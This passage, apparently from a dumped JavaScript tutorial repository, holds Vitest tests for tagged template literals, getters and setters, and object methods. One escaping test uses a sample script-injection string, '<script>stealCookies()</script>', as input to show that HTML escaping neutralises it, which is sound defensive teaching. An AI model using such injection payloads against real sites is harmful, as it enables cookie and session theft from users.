...keys) {\n          return function (data) {\n            return strings.reduce((result, str, i) => {\n              const key = keys[i]\n              const value = key !== undefined ? data[key] : ''\n              return result + str + value\n            }, '')\n          }\n        }\n\n        const greeting = template`Hello, ${'name'}! You have ${'count'} messages.`\n\n        expect(greeting({ name: 'Alice', count: 5 })).toBe('Hello, Alice! You have 5 messages.')\n        expect(greeting({ name: 'Bob', count: 0 })).toBe('Hello, Bob! You have 0 messages.')\n      })\n    })\n\n    describe('Building an Identity Tag', () => {\n      // From lines 399-415: identity tag\n      it('should process escapes like an untagged template', () => {\n        function identity(strings, ...values) {\n          return String.raw({ raw: strings }, ...values)\n        }\n\n        const result = identity`Line1\\nLine2`\n        expect(result).toBe('Line1\\nLine2')\n        expect(result.includes('\\n')).toBe(true) // actual newline\n      })\n    })\n  })\n\n  // ============================================================\n  // REAL-WORLD USE CASES\n  // From tagged-template-literals.mdx lines 425-500\n  // ============================================================\n\n  describe('Real-World Use Cases', () => {\n    describe('SQL Query Builders', () => {\n      // From lines 430-455: sql tag\n      it('should create parameterized query object', () => {\n        function sql(strings, ...values) {\n          const query = strings.reduce((result, str, i) => {\n            return result + str + (i < values.length ? `$${i + 1}` : '')\n          }, '')\n\n          return {\n            text: query,\n            values: values\n          }\n        }\n\n        const userId = 123\n        const status = 'active'\n\n        const query = sql`\n  SELECT * FROM users \n  WHERE id = ${userId} \n  AND status = ${status}\n`\n\n        expect(query.text).toContain('$1')\n        expect(query.text).toContain('$2')\n        expect(query.values).toEqual([123, 'active'])\n      })\n    })\n\n    describe('CSS-in-JS Patterns', () => {\n      // From lines 475-490: css tag\n      it('should interpolate values into CSS', () => {\n        function css(strings, ...values) {\n          return strings.reduce((result, str, i) => {\n            return result + str + (values[i] ?? '')\n          }, '')\n        }\n\n        const primaryColor = '#007bff'\n        const styles = css`\n  .button {\n    background-color: ${primaryColor};\n    padding: 10px 20px;\n  }\n`\n\n        expect(styles).toContain('#007bff')\n        expect(styles).toContain('.button')\n      })\n    })\n  })\n\n  // ============================================================\n  // COMMON MISTAKES\n  // From tagged-template-literals.mdx lines 505-555\n  // ============================================================\n\n  describe('Common Mistakes', () => {\n    describe('Forgetting the Last String', () => {\n      // From lines 510-535: broken vs fixed\n      it('should demonstrate the broken version', () => {\n        function broken(strings, ...values) {\n          return strings.reduce((result, str, i) => {\n            return result + str + values[i] // values[last] is undefined!\n          }, '')\n        }\n\n        const name = 'Alice'\n        const result = broken`Hello ${name}!`\n        // The bug: strings[2] is \"!\" but values[1] is undefined\n        expect(result).toBe('Hello Alice!undefined') // Bug!\n      })\n\n      it('should demonstrate the fixed version', () => {\n        function fixed(strings, ...values) {\n          return strings.reduce((result, str, i) => {\n            const value = values[i] !== undefined ? values[i] : ''\n            return result + str + value\n          }, '')\n        }\n\n        const name = 'Alice'\n        const result = fixed`Hello ${name}!`\n        expect(result).toBe('Hello Alice!') // Correct\n      })\n    })\n  })\n\n  // ============================================================\n  // TEST YOUR KNOWLEDGE\n  // From tagged-template-literals.mdx Test Your Knowledge section\n  // ============================================================\n\n  describe('Test Your Knowledge Examples', () => {\n    // Question 1: Tag function arguments\n    it('Q1: should receive correct strings and values', () => {\n      let receivedStrings = null\n      let receivedValues = null\n\n      function tag(strings, ...values) {\n        receivedStrings = [...strings]\n        receivedValues = values\n      }\n\n      const name = 'Alice'\n      const age = 30\n      tag`Hello ${name}, you are ${age} years old`\n\n      expect(receivedStrings).toEqual(['Hello ', ', you are ', ' years old'])\n      expect(receivedValues).toEqual(['Alice', 30])\n    })\n\n    // Question 2: strings.length vs values.length\n    it('Q2: should always have one more string than values', () => {\n      function count(strings, ...values) {\n        return `${strings.length} strings, ${values.length} values`\n      }\n\n      expect(count`${1}`).toBe('2 strings, 1 values')\n      expect(count`x${1}y${2}z`).toBe('3 strings, 2 values')\n      expect(count`no values`).toBe('1 strings, 0 values')\n    })\n\n    // Question 3: strings vs strings.raw\n    it('Q3: should show difference between cooked and raw', () => {\n      let cooked = null\n      let raw = null\n\n      function compare(strings) {\n        cooked = strings[0]\n        raw = strings.raw[0]\n      }\n\n      compare`Line1\\nLine2`\n\n      expect(cooked).toBe('Line1\\nLine2') // processed newline\n      expect(raw).toBe('Line1\\\\nLine2') // literal \\n\n    })\n\n    // Question 4: String.raw use cases\n    it('Q4: should preserve backslashes with String.raw', () => {\n      const path = String.raw`C:\\Users\\Alice\\Documents`\n      expect(path).toBe('C:\\\\Users\\\\Alice\\\\Documents')\n      expect(path.includes('\\\\')).toBe(true)\n    })\n\n    // Question 5: Returning non-strings\n    it('Q5: should allow returning any type', () => {\n      function values(strings, ...vals) {\n        return vals\n      }\n      expect(values`${1}, ${2}, ${3}`).toEqual([1, 2, 3])\n\n      function sql(strings, ...vals) {\n        return { query: strings.join('?'), params: vals }\n      }\n      const result = sql`SELECT * WHERE id = ${1} AND name = ${'test'}`\n      expect(result.params).toEqual([1, 'test'])\n    })\n\n    // Question 6: HTML escaping importance\n    it('Q6: should escape HTML to prevent XSS', () => {\n      function escapeHTML(str) {\n        return str\n          .replace(/&/g, '&amp;')\n          .replace(/</g, '&lt;')\n          .replace(/>/g, '&gt;')\n          .replace(/\"/g, '&quot;')\n          .replace(/'/g, '&#39;')\n      }\n\n      function safeHtml(strings, ...values) {\n        return strings.reduce((result, str, i) => {\n          const value = values[i] !== undefined\n            ? escapeHTML(String(values[i]))\n            : ''\n          return result + str + value\n        }, '')\n      }\n\n      const userInput = '<script>stealCookies()</script>'\n      const safe = safeHtml`<div>${userInput}</div>`\n\n      expect(safe).toBe('<div>&lt;script&gt;stealCookies()&lt;/script&gt;</div>')\n      expect(safe.includes('<script>')).toBe(false)\n    })\n  })\n\n  // ============================================================\n  // EDGE CASES\n  // ============================================================\n\n  describe('Edge Cases', () => {\n    it('should handle empty template literal', () => {\n      function tag(strings, ...values) {\n        return { strings: [...strings], values }\n      }\n\n      const result = tag``\n      expect(result.strings).toEqual([''])\n      expect(result.values).toEqual([])\n    })\n\n    it('should handle template with only interpolation', () => {\n      function tag(strings, ...values) {\n        return { strings: [...strings], values }\n      }\n\n      const result = tag`${42}`\n      expect(result.strings).toEqual(['', ''])\n      expect(result.values).toEqual([42])\n    })\n\n    it('should handle nested tagged templates', () => {\n      function outer(strings, ...values) {\n        // Interleave strings and values properly\n        return '[' + strings.reduce((acc, str, i) => {\n          return acc + str + (values[i] !== undefined ? values[i] : '')\n        }, '') + ']'\n      }\n\n      function inner(strings, ...values) {\n        return '(' + strings.reduce((acc, str, i) => {\n          return acc + str + (values[i] !== undefined ? values[i] : '')\n        }, '') + ')'\n      }\n\n      const result = outer`start ${inner`nested ${1}`} end`\n      expect(result).toBe('[start (nested 1) end]')\n    })\n\n    it('should handle undefined and null values', () => {\n      function tag(strings, ...values) {\n        return strings.reduce((result, str, i) => {\n          const value = values[i] !== undefined ? String(values[i]) : ''\n          return result + str + value\n        }, '')\n      }\n\n      expect(tag`Value: ${undefined}`).toBe('Value: ')\n      expect(tag`Value: ${null}`).toBe('Value: null')\n    })\n\n    it('should handle function values', () => {\n      function tag(strings, ...values) {\n        return strings.reduce((result, str, i) => {\n          let value = values[i]\n          if (typeof value === 'function') {\n            value = value()\n          }\n          return result + str + (value ?? '')\n        }, '')\n      }\n\n      const result = tag`Result: ${() => 42}`\n      expect(result).toBe('Result: 42')\n    })\n\n    it('should preserve the strings array between calls', () => {\n      const callHistory = []\n\n      function tag(strings, ...values) {\n        callHistory.push(strings)\n        return {}\n      }\n\n      function evaluateLiteral() {\n        return tag`Hello, ${'world'}!`\n      }\n\n      evaluateLiteral()\n      evaluateLiteral()\n\n      // Same strings array is passed each time\n      expect(callHistory[0]).toBe(callHistory[1])\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/objects-properties/getters-setters/getters-setters.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Getters and Setters', () => {\n  \n  describe('Basic Getter Syntax in Object Literals', () => {\n    it('should return computed value from getter', () => {\n      const user = {\n        firstName: \"Alice\",\n        lastName: \"Smith\",\n        get fullName() {\n          return `${this.firstName} ${this.lastName}`\n        }\n      }\n      \n      expect(user.fullName).toBe(\"Alice Smith\")\n    })\n    \n    it('should recalculate getter on each access', () => {\n      const user = {\n        firstName: \"Alice\",\n        lastName: \"Smith\",\n        get fullName() {\n          return `${this.firstName} ${this.lastName}`\n        }\n      }\n      \n      expect(user.fullName).toBe(\"Alice Smith\")\n      \n      user.firstName = \"Bob\"\n      expect(user.fullName).toBe(\"Bob Smith\")\n    })\n    \n    it('should access getter without parentheses', () => {\n      const obj = {\n        get value() { return 42 }\n      }\n      \n      expect(obj.value).toBe(42)\n      expect(typeof obj.value).toBe(\"number\")\n    })\n    \n    it('should support computed property names for getters', () => {\n      const propName = \"status\"\n      const obj = {\n        _status: \"active\",\n        get [propName]() {\n          return this._status.toUpperCase()\n        }\n      }\n      \n      expect(obj.status).toBe(\"ACTIVE\")\n    })\n    \n    it('should allow multiple getters on same object', () => {\n      const rectangle = {\n        width: 10,\n        height: 5,\n        get area() { return this.width * this.height },\n        get perimeter() { return 2 * (this.width + this.height) }\n      }\n      \n      expect(rectangle.area).toBe(50)\n      expect(rectangle.perimeter).toBe(30)\n    })\n  })\n  \n  describe('Basic Setter Syntax in Object Literals', () => {\n    it('should call setter on assignment', () => {\n      const obj = {\n        _value: 0,\n        set value(v) {\n          this._value = v * 2\n        }\n      }\n      \n      obj.value = 5\n      expect(obj._value).toBe(10)\n    })\n    \n    it('should support validation in setter', () => {\n      const account = {\n        _balance: 0,\n        set balance(value) {\n          if (value < 0) {\n            throw new Error(\"Balance cannot be negative\")\n          }\n          this._balance = value\n        }\n      }\n      \n      account.balance = 100\n      expect(account._balance).toBe(100)\n      \n      expect(() => {\n        account.balance = -50\n      }).toThrow(\"Balance cannot be negative\")\n    })\n    \n    it('should update backing property', () => {\n      const user = {\n        _name: \"\",\n        set name(value) {\n          this._name = value.trim().toUpperCase()\n        }\n      }\n      \n      user.name = \"  alice  \"\n      expect(user._name).toBe(\"ALICE\")\n    })\n    \n    it('should support side effects in setter', () => {\n      const log = []\n      const obj = {\n        set action(value) {\n          log.push(`Action: ${value}`)\n        }\n      }\n      \n      obj.action = \"login\"\n      obj.action = \"logout\"\n      \n      expect(log).toEqual([\"Action: login\", \"Action: logout\"])\n    })\n    \n    it('should support computed property names for setters', () => {\n      const propName = \"data\"\n      const obj = {\n        _data: null,\n        set [propName](value) {\n          this._data = JSON.stringify(value)\n        }\n      }\n      \n      obj.data = { a: 1 }\n      expect(obj._data).toBe('{\"a\":1}')\n    })\n  })\n  \n  describe('Getters in Classes', () => {\n    it('should define getter in class', () => {\n      class Circle {\n        constructor(radius) {\n          this.radius = radius\n        }\n        get area() {\n          return Math.PI * this.radius ** 2\n        }\n      }\n      \n      const circle = new Circle(5)\n      expect(circle.area).toBeCloseTo(78.54, 1)\n    })\n    \n    it('should compute getter from instance properties', () => {\n      class Temperature {\n        constructor(celsius) {\n          this._celsius = celsius\n        }\n        get fahrenheit() {\n          return this._celsius * 9/5 + 32\n        }\n      }\n      \n      const temp = new Temperature(100)\n      expect(temp.fahrenheit).toBe(212)\n    })\n    \n    it('should support static getters', () => {\n      class Config {\n        static _version = \"1.0.0\"\n        static get version() {\n          return `v${this._version}`\n        }\n      }\n      \n      expect(Config.version).toBe(\"v1.0.0\")\n    })\n    \n    it('should inherit getters from parent class', () => {\n      class Animal {\n        constructor(name) {\n          this._name = name\n        }\n        get name() {\n          return this._name\n        }\n      }\n      \n      class Dog extends Animal {\n        constructor(name, breed) {\n          super(name)\n          this.breed = breed\n        }\n      }\n      \n      const dog = new Dog(\"Rex\", \"German Shepherd\")\n      expect(dog.name).toBe(\"Rex\")\n    })\n  })\n  \n  describe('Setters in Classes', () => {\n    it('should define setter with validation in class', () => {\n      class User {\n        constructor() {\n          this._age = 0\n        }\n        set age(value) {\n          if (value < 0 || value > 150) {\n            throw new Error(\"Invalid age\")\n          }\n          this._age = value\n        }\n        get age() {\n          return this._age\n        }\n      }\n      \n      const user = new User()\n      user.age = 25\n      expect(user.age).toBe(25)\n      \n      expect(() => {\n        user.age = -5\n      }).toThrow(\"Invalid age\")\n    })\n    \n    it('should support static setters', () => {\n      class Config {\n        static _debug = false\n        static set debug(value) {\n          this._debug = Boolean(value)\n        }\n        static get debug() {\n          return this._debug\n        }\n      }\n      \n      Config.debug = 1\n      expect(Config.debug).toBe(true)\n      \n      Config.debug = 0\n      expect(Config.debug).toBe(false)\n    })\n    \n    it('should override setter in subclass', () => {\n      class Animal {\n        constructor() {\n          this._name = \"\"\n        }\n        set name(value) {\n          this._name = value\n        }\n        get name() {\n          return this._name\n        }\n      }\n      \n      class Dog extends Animal {\n        set name(value) {\n          super.name = `🐕 ${value}`\n        }\n        // Must also provide getter when overriding setter\n        get name() {\n          return super.name\n        }\n      }\n      \n      const dog = new Dog()\n      dog.name = \"Rex\"\n      expect(dog.name).toBe(\"🐕 Rex\")\n    })\n  })\n  \n  describe('Object.defineProperty() Accessor Descriptors', () => {\n    it('should define getter with defineProperty', () => {\n      const obj = { _value: 42 }\n      \n      Object.defineProperty(obj, \"value\", {\n        get() { return this._value * 2 },\n        enumerable: true\n      })\n      \n      expect(obj.value).toBe(84)\n    })\n    \n    it('should define setter with defineProperty', () => {\n      const obj = { _value: 0 }\n      \n      Object.defineProperty(obj, \"value\", {\n        set(v) { this._value = v },\n        enumerable: true\n      })\n      \n      obj.value = 100\n      expect(obj._value).toBe(100)\n    })\n    \n    it('should define both getter and setter with defineProperty', () => {\n      const user = { _name: \"\" }\n      \n      Object.defineProperty(user, \"name\", {\n        get() { return this._name },\n        set(value) { this._name = value.trim() },\n        enumerable: true,\n        configurable: true\n      })\n      \n      user.name = \"  Alice  \"\n      expect(user.name).toBe(\"Alice\")\n    })\n    \n    it('should throw when mixing value and get', () => {\n      expect(() => {\n        Object.defineProperty({}, \"prop\", {\n          value: 42,\n          get() { return 42 }\n        })\n      }).toThrow(TypeError)\n    })\n    \n    it('should throw when mixing writable and set', () => {\n      expect(() => {\n        Object.defineProperty({}, \"prop\", {\n          writable: true,\n          set(v) { }\n        })\n      }).toThrow(TypeError)\n    })\n    \n    it('should return correct descriptor for accessor property', () => {\n      const obj = {\n        get prop() { return \"value\" },\n        set prop(v) { }\n      }\n      \n      const descriptor = Object.getOwnPropertyDescriptor(obj, \"prop\")\n      \n      expect(typeof descriptor.get).toBe(\"function\")\n      expect(typeof descriptor.set).toBe(\"function\")\n      expect(descriptor.value).toBeUndefined()\n      expect(descriptor.writable).toBeUndefined()\n      expect(descriptor.enumerable).toBe(true)\n      expect(descriptor.configurable).toBe(true)\n    })\n  })\n  \n  describe('Getter-Only Properties (Read-Only)', () => {\n    it('should create read-only property with getter only', () => {\n      const obj = {\n        get readOnly() { return \"constant\" }\n      }\n      \n      expect(obj.readOnly).toBe(\"constant\")\n    })\n    \n    it('should throw in strict mode when setting getter-only property', () => {\n      \"use strict\"\n      \n      const obj = {\n        get value() { return 42 }\n      }\n      \n      expect(() => {\n        obj.value = 100\n      }).toThrow(TypeError)\n    })\n    \n    it('should inherit getter-only as read-only', () => {\n      const parent = {\n        get constant() { return \"immutable\" }\n      }\n      \n      const child = Object.create(parent)\n      \n      expect(child.constant).toBe(\"immutable\")\n      \n      expect(() => {\n        child.constant = \"changed\"\n      }).toThrow(TypeError)\n    })\n    \n    it('should allow computed read-only properties', () => {\n      const circle = {\n        radius: 5,\n        get area() {\n          return Math.PI * this.radius ** 2\n        },\n        get circumference() {\n          return 2 * Math.PI * this.radius\n        }\n      }\n      \n      expect(circle.area).toBeCloseTo(78.54, 1)\n      expect(circle.circumference).toBeCloseTo(31.42, 1)\n    })\n  })\n  \n  describe('Setter-Only Properties (Write-Only)', () => {\n    it('should return undefined when reading setter-only property', () => {\n      const obj = {\n        _lastValue: null,\n        set value(v) {\n          this._lastValue = v\n        }\n      }\n      \n      obj.value = 42\n      expect(obj.value).toBeUndefined()\n      expect(obj._lastValue).toBe(42)\n    })\n    \n    it('should allow write-only for logging', () => {\n      const logs = []\n      const logger = {\n        set log(message) {\n          logs.push(`[${Date.now()}] ${message}`)\n        }\n      }\n      \n      logger.log = \"Event 1\"\n      logger.log = \"Event 2\"\n      \n      expect(logger.log).toBeUndefined()\n      expect(logs.length).toBe(2)\n      expect(logs[0]).toMatch(/Event 1/)\n      expect(logs[1]).toMatch(/Event 2/)\n    })\n    \n    it('should support setter-only with side effects', () => {\n      const state = { count: 0 }\n      const obj = {\n        set increment(_) {\n          state.count++\n        }\n      }\n      \n      obj.increment = null\n      obj.increment = null\n      obj.increment = null\n      \n      expect(state.count).toBe(3)\n    })\n  })\n  \n  describe('Infinite Recursion Prevention', () => {\n    it('should avoid infinite loop with backing property', () => {\n      const obj = {\n        _name: \"\",\n        get name() { return this._name },\n        set name(value) { this._name = value }\n      }\n      \n      obj.name = \"Alice\"\n      expect(obj.name).toBe(\"Alice\")\n    })\n    \n    it('should work with private fields as backing store', () => {\n      class User {\n        #name = \"\"\n        get name() { return this.#name }\n        set name(value) { this.#name = value }\n      }\n      \n      const user = new User()\n      user.name = \"Bob\"\n      expect(user.name).toBe(\"Bob\")\n    })\n    \n    it('should work with closure variable as backing store', () => {\n      function createCounter() {\n        let count = 0\n        return {\n          get value() { return count },\n          set value(v) { count = v }\n        }\n      }\n      \n      const counter = createCounter()\n      counter.value = 10\n      expect(counter.value).toBe(10)\n    })\n  })\n  \n  describe('Inheritance of Getters and Setters', () => {\n    it('should inherit getter from prototype', () => {\n      const proto = {\n        _value: 42,\n        get value() { return this._value }\n      }\n      \n      const obj = Object.create(proto)\n      expect(obj.value).toBe(42)\n    })\n    \n    it('should override getter in subclass', () => {\n      class Parent {\n        get greeting() { return \"Hello\" }\n      }\n      \n      class Child extends Parent {\n        get greeting() { return \"Hi\" }\n      }\n      \n      const parent = new Parent()\n      const child = new Child()\n      \n      expect(parent.greeting).toBe(\"Hello\")\n      expect(child.greeting).toBe(\"Hi\")\n    })\n    \n    it('should call parent getter with super', () => {\n      class Parent {\n        get value() { return 10 }\n      }\n      \n      class Child extends Parent {\n        get value() { return super.value * 2 }\n      }\n      \n      const child = new Child()\n      expect(child.value).toBe(20)\n    })\n    \n    it('should reveal inherited getter after delete', () => {\n      const parent = {\n        get value() { return \"parent\" }\n      }\n      \n      const child = Object.create(parent)\n      Object.defineProperty(child, \"value\", {\n        get() { return \"child\" },\n        configurable: true\n      })\n      \n      expect(child.value).toBe(\"child\")\n      \n      delete child.value\n      expect(child.value).toBe(\"parent\")\n    })\n  })\n  \n  describe('JSON.stringify() and Enumeration', () => {\n    it('should include getter value in JSON.stringify', () => {\n      const obj = {\n        a: 1,\n        get b() { return 2 }\n      }\n      \n      const json = JSON.stringify(obj)\n      expect(json).toBe('{\"a\":1,\"b\":2}')\n    })\n    \n    it('should not include setter-only properties in JSON', () => {\n      const obj = {\n        a: 1,\n        set b(v) { }\n      }\n      \n      const json = JSON.stringify(obj)\n      expect(json).toBe('{\"a\":1}')\n    })\n    \n    it('should include enumerable getters in for...in', () => {\n      const obj = {\n        a: 1,\n        get b() { return 2 }\n      }\n      \n      const keys = []\n      for (const key in obj) {\n        keys.push(key)\n      }\n      \n      expect(keys).toContain(\"a\")\n      expect(keys).toContain(\"b\")\n    })\n    \n    it('should include enumerable getters in Object.keys()', () => {\n      const obj = {\n        a: 1,\n        get b() { return 2 }\n      }\n      \n      expect(Object.keys(obj)).toEqual([\"a\", \"b\"])\n    })\n    \n    it('should exclude non-enumerable getters from Object.keys()', () => {\n      const obj = { a: 1 }\n      \n      Object.defineProperty(obj, \"hidden\", {\n        get() { return \"secret\" },\n        enumerable: false\n      })\n      \n      expect(Object.keys(obj)).toEqual([\"a\"])\n      expect(obj.hidden).toBe(\"secret\")\n    })\n  })\n  \n  describe('Performance Patterns', () => {\n    it('should call getter on every access', () => {\n      let callCount = 0\n      const obj = {\n        get value() {\n          callCount++\n          return 42\n        }\n      }\n      \n      obj.value\n      obj.value\n      obj.value\n      \n      expect(callCount).toBe(3)\n    })\n    \n    it('should support memoization pattern', () => {\n      let computeCount = 0\n      const obj = {\n        _cached: null,\n        get expensive() {\n          if (this._cached === null) {\n            computeCount++\n            this._cached = 42 // Simulate expensive computation\n          }\n          return this._cached\n        }\n      }\n      \n      obj.expensive\n      obj.expensive\n      obj.expensive\n      \n      expect(computeCount).toBe(1)\n      expect(obj.expensive).toBe(42)\n    })\n    \n    it('should support self-replacing lazy getter', () => {\n      let computeCount = 0\n      const obj = {\n        get lazy() {\n          computeCount++\n          const value = Math.random()\n          Object.defineProperty(this, \"lazy\", {\n            value: value,\n            writable: false,\n            configurable: false\n          })\n          return value\n        }\n      }\n      \n      const first = obj.lazy\n      const second = obj.lazy\n      const third = obj.lazy\n      \n      expect(computeCount).toBe(1)\n      expect(first).toBe(second)\n      expect(second).toBe(third)\n    })\n  })\n  \n  describe('Edge Cases', () => {\n    it('should allow getter and setter with different logic', () => {\n      const obj = {\n        _raw: \"\",\n        get value() {\n          return this._raw.toUpperCase()\n        },\n        set value(v) {\n          this._raw = v.toLowerCase()\n        }\n      }\n      \n      obj.value = \"HeLLo\"\n      expect(obj._raw).toBe(\"hello\")\n      expect(obj.value).toBe(\"HELLO\")\n    })\n    \n    it('should work with Symbol property names', () => {\n      const sym = Symbol(\"secret\")\n      const obj = {\n        _secret: 42,\n        get [sym]() { return this._secret }\n      }\n      \n      expect(obj[sym]).toBe(42)\n    })\n    \n    it('should handle this correctly in nested objects', () => {\n      const outer = {\n        inner: {\n          value: 10,\n          get doubled() {\n            return this.value * 2\n          }\n        }\n      }\n      \n      expect(outer.inner.doubled).toBe(20)\n    })\n    \n    it('should work with destructuring (getter is called)', () => {\n      let callCount = 0\n      const obj = {\n        get value() {\n          callCount++\n          return 42\n        }\n      }\n      \n      const { value } = obj\n      expect(value).toBe(42)\n      expect(callCount).toBe(1)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/objects-properties/object-methods/object-methods.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Object Methods', () => {\n  // ============================================================\n  // ITERATION METHODS: keys, values, entries\n  // From object-methods.mdx lines 60-120\n  // ============================================================\n\n  describe('Iteration Methods', () => {\n    describe('Object.keys()', () => {\n      // From lines 65-74: Basic Object.keys() usage\n      it('should return an array of property names', () => {\n        const user = { name: 'Alice', age: 30, city: 'NYC' }\n        const keys = Object.keys(user)\n        \n        expect(keys).toEqual(['name', 'age', 'city'])\n      })\n\n      // From lines 76-79: Looping through keys\n      it('should allow iteration over keys', () => {\n        const user = { name: 'Alice', age: 30, city: 'NYC' }\n        const collectedKeys = []\n        \n        for (const key of Object.keys(user)) {\n          collectedKeys.push(key)\n        }\n        \n        expect(collectedKeys).toEqual(['name', 'age', 'city'])\n      })\n    })\n\n    describe('Object.values()', () => {\n      // From lines 83-89: Basic Object.values() usage\n      it('should return an array of property values', () => {\n        const user = { name: 'Alice', age: 30, city: 'NYC' }\n        const values = Object.values(user)\n        \n        expect(values).toEqual(['Alice', 30, 'NYC'])\n      })\n\n      // From lines 91-95: Sum values with reduce\n      it('should allow summing numeric values', () => {\n        const scores = { math: 95, science: 88, history: 92 }\n        const total = Object.values(scores).reduce((sum, score) => sum + score, 0)\n        \n        expect(total).toBe(275)\n      })\n    })\n\n    describe('Object.entries()', () => {\n      // From lines 99-106: Basic Object.entries() usage\n      it('should return an array of [key, value] pairs', () => {\n        const user = { name: 'Alice', age: 30, city: 'NYC' }\n        const entries = Object.entries(user)\n        \n        expect(entries).toEqual([\n          ['name', 'Alice'],\n          ['age', 30],\n          ['city', 'NYC']\n        ])\n      })\n\n      // From lines 108-115: Destructuring in a loop\n      it('should allow destructured iteration', () => {\n        const user = { name: 'Alice', age: 30, city: 'NYC' }\n        const output = []\n        \n        for (const [key, value] of Object.entries(user)) {\n          output.push(`${key}: ${value}`)\n        }\n        \n        expect(output).toEqual(['name: Alice', 'age: 30', 'city: NYC'])\n      })\n    })\n\n    // From note about enumerable properties\n    describe('Enumerable Properties Only', () => {\n      it('should only return enumerable own properties', () => {\n        const obj = {}\n        Object.defineProperty(obj, 'hidden', {\n          value: 'secret',\n          enumerable: false\n        })\n        obj.visible = 'public'\n        \n        expect(Object.keys(obj)).toEqual(['visible'])\n        expect(Object.values(obj)).toEqual(['public'])\n        expect(Object.entries(obj)).toEqual([['visible', 'public']])\n      })\n    })\n  })\n\n  // ============================================================\n  // TRANSFORMING OBJECTS WITH fromEntries()\n  // From object-methods.mdx lines 130-180\n  // ============================================================\n\n  describe('Object.fromEntries()', () => {\n    // From lines 135-138: Basic fromEntries usage\n    it('should create an object from entries array', () => {\n      const entries = [['name', 'Alice'], ['age', 30]]\n      const user = Object.fromEntries(entries)\n      \n      expect(user).toEqual({ name: 'Alice', age: 30 })\n    })\n\n    // From lines 143-150: Transform object keys to uppercase\n    it('should transform object keys to uppercase', () => {\n      const user = { name: 'Alice', age: 30, city: 'NYC' }\n      \n      const upperCased = Object.fromEntries(\n        Object.entries(user).map(([key, value]) => [key.toUpperCase(), value])\n      )\n      \n      expect(upperCased).toEqual({ NAME: 'Alice', AGE: 30, CITY: 'NYC' })\n    })\n\n    // From lines 154-161: Filter object properties\n    it('should filter object properties by value type', () => {\n      const product = { name: 'Laptop', price: 999, inStock: true, sku: 'LP001' }\n      \n      const stringsOnly = Object.fromEntries(\n        Object.entries(product).filter(([key, value]) => typeof value === 'string')\n      )\n      \n      expect(stringsOnly).toEqual({ name: 'Laptop', sku: 'LP001' })\n    })\n\n    // From lines 165-172: Convert Map to object\n    it('should convert a Map to an object', () => {\n      const map = new Map([\n        ['name', 'Alice'],\n        ['role', 'Admin']\n      ])\n      \n      const obj = Object.fromEntries(map)\n      \n      expect(obj).toEqual({ name: 'Alice', role: 'Admin' })\n    })\n  })\n\n  // ============================================================\n  // CLONING AND MERGING OBJECTS\n  // From object-methods.mdx lines 185-270\n  // ============================================================\n\n  describe('Cloning and Merging', () => {\n    describe('Object.assign()', () => {\n      // From lines 192-197: Basic assign usage\n      it('should copy properties from source to target', () => {\n        const target = { a: 1 }\n        const source = { b: 2 }\n        \n        Object.assign(target, source)\n        \n        expect(target).toEqual({ a: 1, b: 2 })\n      })\n\n      // From lines 199-205: Clone using empty target\n      it('should clone an object using empty target', () => {\n        const original = { name: 'Alice', age: 30 }\n        const clone = Object.assign({}, original)\n        \n        clone.name = 'Bob'\n        \n        expect(original.name).toBe('Alice')\n        expect(clone.name).toBe('Bob')\n      })\n\n      // From lines 207-213: Merge multiple objects\n      it('should merge multiple objects with later sources overriding', () => {\n        const defaults = { theme: 'light', fontSize: 14 }\n        const userPrefs = { theme: 'dark' }\n        \n        const settings = Object.assign({}, defaults, userPrefs)\n        \n        expect(settings).toEqual({ theme: 'dark', fontSize: 14 })\n      })\n\n      // From lines 217-228: Shallow copy warning\n      it('should only shallow copy nested objects', () => {\n        const original = { \n          name: 'Alice', \n          address: { city: 'NYC' } \n        }\n        \n        const clone = Object.assign({}, original)\n        clone.address.city = 'LA'\n        \n        // Both changed because nested object is shared!\n        expect(original.address.city).toBe('LA')\n        expect(clone.address.city).toBe('LA')\n      })\n    })\n\n    describe('structuredClone()', () => {\n      // From lines 233-244: Deep clone with structuredClone\n      it('should deep clone nested objects', () => {\n        const original = { \n          name: 'Alice', \n          address: { city: 'NYC' } \n        }\n        \n        const clone = structuredClone(original)\n        clone.address.city = 'LA'\n        \n        expect(original.address.city).toBe('NYC')\n        expect(clone.address.city).toBe('LA')\n      })\n\n      // From lines 248-256: structuredClone handles built-in types\n      it('should handle Date and Set objects', () => {\n        const data = {\n          date: new Date('2024-01-01'),\n          items: new Set([1, 2, 3])\n        }\n        \n        const clone = structuredClone(data)\n        \n        expect(clone.date instanceof Date).toBe(true)\n        expect(clone.items instanceof Set).toBe(true)\n        expect(clone.date.getTime()).toBe(data.date.getTime())\n        expect([...clone.items]).toEqual([1, 2, 3])\n      })\n\n      // From lines 261-268: structuredClone cannot clone functions\n      it('should throw DataCloneError when cloning functions', () => {\n        const obj = { \n          greet: () => 'Hello'\n        }\n        \n        expect(() => structuredClone(obj)).toThrow()\n      })\n\n      // Additional: Handle circular references\n      it('should handle circular references', () => {\n        const obj = { name: 'circular' }\n        obj.self = obj\n        \n        const clone = structuredClone(obj)\n        \n        expect(clone.name).toBe('circular')\n        expect(clone.self).toBe(clone) // Points to itself\n        expect(clone.self).not.toBe(obj) // But not original\n      })\n    })\n  })\n\n  // ============================================================\n  // OBJECT.hasOwn() - SAFE PROPERTY CHECKING\n  // From object-methods.mdx lines 280-330\n  // ============================================================\n\n  describe('Object.hasOwn()', () => {\n    // From lines 287-292: Basic hasOwn usage\n    it('should check for own properties', () => {\n      const user = { name: 'Alice', age: 30 }\n      \n      expect(Object.hasOwn(user, 'name')).toBe(true)\n      expect(Object.hasOwn(user, 'toString')).toBe(false) // inherited\n      expect(Object.hasOwn(user, 'email')).toBe(false)    // doesn't exist\n    })\n\n    // From lines 296-305: Works with null prototype objects\n    it('should work with null prototype objects', () => {\n      const nullProto = Object.create(null)\n      nullProto.id = 1\n      \n      // hasOwnProperty doesn't exist on null-prototype objects\n      expect(nullProto.hasOwnProperty).toBeUndefined()\n      \n      // Object.hasOwn works fine\n      expect(Object.hasOwn(nullProto, 'id')).toBe(true)\n    })\n\n    // From lines 309-315: Works when hasOwnProperty is overridden\n    it('should work when hasOwnProperty is overridden', () => {\n      const sneaky = {\n        hasOwnProperty: () => false\n      }\n      \n      expect(sneaky.hasOwnProperty('hasOwnProperty')).toBe(false) // wrong!\n      expect(Object.hasOwn(sneaky, 'hasOwnProperty')).toBe(true)  // correct!\n    })\n  })\n\n 